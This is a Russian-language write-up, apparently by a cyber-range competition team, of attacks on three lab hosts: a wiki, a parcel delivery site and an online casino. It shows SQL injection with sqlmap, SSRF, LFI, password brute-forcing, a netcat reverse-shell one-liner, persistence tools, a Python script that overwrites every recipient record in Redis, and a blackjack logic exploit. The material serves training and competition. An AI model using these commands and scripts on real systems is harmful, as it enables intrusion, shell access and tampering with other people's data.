II. Разбор недопустимых событий с отборочных на Международные игры
Вступление
Подвезли вам вторую часть разбора рисков с сегмента Standalone — самое лакомое, сложное и интересное. Сегодня без долгих вступлений =)
1. Кража новой технологии для генерации электроэнергии
В первой части разбора мы провели первичную разведку и получили информацию о списке хостов в сети, среди них был хост corp-wiki.standalone.stf – наша сегодняшняя жертва.
По результатам сканирования на данном хосте были обнаружены порты 80, 8082, и 3306 – MySQL, запомним это и отправимся изучать веб.
Встречает нас лендинг корпоративной вики:
В статьях ничего особо полезного нет, за исключением имени пользователя – emivil
Так же на ресурсе доступна функция логина и регистрации, однако для регистрации пользователя необходим код приглашения, которого у нас нет. Однако нам удалось сбрутить пароль пользователя emiwil:
Попадаем в систему под пользователем emivil и начинаем внимательно изучать список доступных нам статей, среди которых находим следующее:
Итак, есть некий пользователь roblee с паролем ;;48~Various~Boat~Cold~97;;
Пользователь жалуется, что не может получить доступ ни к какому ресурсу, кроме вики и базы данных. Вспоминаем про порт 3306 и мчим туда:
mysql -h 10.124.249.9 -P 3306 -u roblee -p
Получаем доступ к базе данных и видим список таблиц:
Вставим сюда свой пригласительный код:
INSERT INTO wiki.codes (code) VALUE ('collapsz_g0dl1ke_c0d3');
И регистрируем нового пользователя, указывая вставленный в базу код:
В профиле находим функции смены ника, слогана и аватарки:
Через смену аватарки реализуем ssrf:
Сдаем SSRF-флаг, но недопустимое событие мы все еще не реализовали. Среди статей была парочка, где автором был указан admin – его учетку мы и хотим получить. Вернемся к статьям, доступным emivil и обнаружим там это:
Некий баг на неком http://searchserver:8000/api/data
Снова возвращаемся к смене аватарки. Отправив запрос на ресурс выше видим выхлоп:
Немного поигравшись с URL запроса получаем знакомую ошибку:
sqlmap моментально убивал тачку, поэтому эту скулю пришлось крутить ручками:
Авторизуемся с найденным паролем и среди статей админа находим ту самую с секретной формулой, что и требовалось в риске:
2. Нарушение работы службы доставки (подмена адреса и данных получателя)
Это. Было. Долго. Кто понял, тот понял =) Помчали поползли. В данном риске было необходимо подменить адреса и данные получателя посылки
На 80 порту хоста нас встречает веб-сайт, позволяющий регистрироваться, логиниться, и создавать новые посылки.
Базовые проверки на уязвимости успеха не принесли, все работало как надо
Немного поковырявшись, мы смогли вызвать 500 ошибку на странице логина:
Далее дело техники – сохраняем запрос и скармливаем его в sqlmap:
sqlmap -r fastship.req --level 3 --flush-session --batch
sqlmap определил СУБД posgresql:
SQL-инъекция оказалась time-based, поэтому, несмотря на --threads 10
, ждать пришлось очень, очень долго. И самое веселое – ничего полезного мы так и не сдампили. Зато спустя n часов смогли получить shell. Через time-based в PostgreSQL, да...было долго.
Далее при помощи netcat нагрузки получили стабильный реверс-шелл и закрепились в системе с использованием meterpreter и sliver:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f
В ходе перечисления ресурсов системы мы нашли креды админа базы данных PostgreSQL, однако замена всех необходимых ячеек не привела к реализации НС – пришлось копать глубже.
При помощи скрипта subf.sh (скрипт для брутфорса паролей учетных записей *nix) мы сбрутили пароль пользователя fastship и пароль пользователя root:
После чего получили доступ к сурс-файлам веб-сайта и поняли, что в качестве базы данных используется не PosgreSQL, а Redis:
Спустя некоторое время мы написали скрипт, заменяющий все нужные нам ключи (их там было очень, очень много) на нужные нам значения:
import redis import time from concurrent.futures import ThreadPoolExecutor def update_recipient(key): try: package = r.hgetall(key) updates = [] if (b'recipient' in package and package[b'recipient'] != b'stf_xakep'): updates.append(('recipient', 'stf_xakep')) if (b'recipient_address' in package and package[b'recipient_address'] != b'stf_recipient'): updates.append(('recipient_address', 'stf_recipient')) if updates: for field, value in updates: r.hset(key, field, value) return key.decode('utf-8') else: return None except redis.RedisError as e: print(f"Ошибка при обновлении {key.decode('utf-8')}: {e}") return None try: r = redis.StrictRedis(host='127.0.0.1', port=6379, password='material-deny-infect-dully-praline-froufrou') r.ping() except redis.ConnectionError as e: print(f"Ошибка подключения к Redis: {e}") exit(1) start_time = time.time() keys = [] cursor = 0 try: while True: cursor, batch_keys = r.scan(cursor, match='*', count=1000) keys.extend(batch_keys) print(f"Получено {len(batch_keys)} ключей") if cursor == 0: break except redis.RedisError as e: print(f"Ошибка при получении ключей: {e}") exit(1) updated_keys = [] with ThreadPoolExecutor(max_workers=10) as executor: results = list(executor.map(update_recipient, keys)) updated_keys = [key for key in results if key is not None] new_keys = [] cursor = 0 try: while True: cursor, batch_keys = r.scan(cursor, match='*', count=1000) new_keys.extend(batch_keys) if cursor == 0: break except redis.RedisError as e: print(f"Ошибка при проверке новых ключей: {e}") exit(1) new_key_count = len(new_keys) end_time = time.time() print(f"Обновление завершено за {end_time - start_time:.2f} секунд.") print(f"Количество обновленных ключей: {len(updated_keys)}") print(f"Количество новых ключей: {new_key_count}")
В результате работы скрипта все значения recipient и recipient_address были заменены на нужные нам значения. Недопустимое событие было реализовано.
3. Компрометация алгоритмов работы онлайн-казино
Самое лакомое на сегодня – казино. Название риска говорит само за себя – нужно любыми способами обмануть эту ракетку и выиграть у дилера.
На самом сайте ничего особо интересного нет:
Однако попытка просмотреть карты в новой вкладке открыла для нас интересный URL-запрос:
Сдаем LFI-флаг и идем дальше, однако что нам может дать LFI в риске, где нужно скомпрометировать алгоритм работы казино?
Все запросы летят в json, где-то же этот json должен обрабатываться, так?
При помощи Burp Intruder мы проверили /proc/FUZZ/cmdline, откуда получили информацию о запущенном /opt/casino/server
По заголовку становится ясно, что это какой-то бинарь
Прежде чем реверсить бинарь я предпринял отчаянную попытку выиграть в 21 в честную. Да, было. Да, отчаянно.
Спустя 3 часа игры через разные стратегии я выявил закономерность:
иногда, после того, как в игре побывает примерно 400-420 карт, дилер ошибается и набирает более, чем 21 очко, что приводит к его проигрышу. И происходит это стабильно в районе ~400 карт.
Таким образом в голове зародилась мысль о том, какая уязвимость логики может быть в данном риске: в момент начала игры дилер инициализирует колоду карт если карты в ней вдруг заканчиваются, алгоритм отрабатывает неправильно и дилер набирает более, чем 21 очко.
Наличие такого вектора в голове сильно упростило дальнейший реверс. Что нам дал бинарь:
- При запуске он стартует HTTP-сервер и слушает входящие соединения самого на порту 3410 (API самого казино), общение с которым происходит посредством отправки данных в формате JSON
- При поступлении запроса на начало новой игры, создается сессия и ей присваивает определенный uuid
- После этого инициализируются колода карт из трех наборов
- После того как колода карт заканчивается, дилер начинает брать карты из нее заново, начиная с первого набора
Далее опытным путем (на этот раз при помощи автоматизации на Python) было найдено точное количество карт, после которого дилер обращается к первому набору из колоды – 416.
Я уверен, что это можно найти и в самом бинаре, но реверс GoLang есть реверс GoLang и чем его меньше, тем лучше =)
В результате полученной информации и выявленной уязвимости была выработана стратегия: маленькими ставками опустошить колоду, довести ее до уязвимого состояния и следом сделать большую ставку с расчетом на ошибку в алгоритме.
Код будет работать рекурсивно, в случае неудачи будет начинать новую игру и так вплоть до победного.
Спустя несколько итераций код выведет game_id выигранной сессии, что сигнализирует нам о успешно реализованном недопустимом событии.
Отправив запрос с нашим gid по адресу {BASE_URL}/games/{gid}/flag, проходим проверки и получаем флаг для реализации недопустимого события:
Заключение
Собственно, на этом и заканчивается наше приключение в сегменте Standalone. Было круто, было сложно, было интересно.
С нетерпением ждем финалы! Всем меньше реверса голенга и удачи, спасибо за внимание =)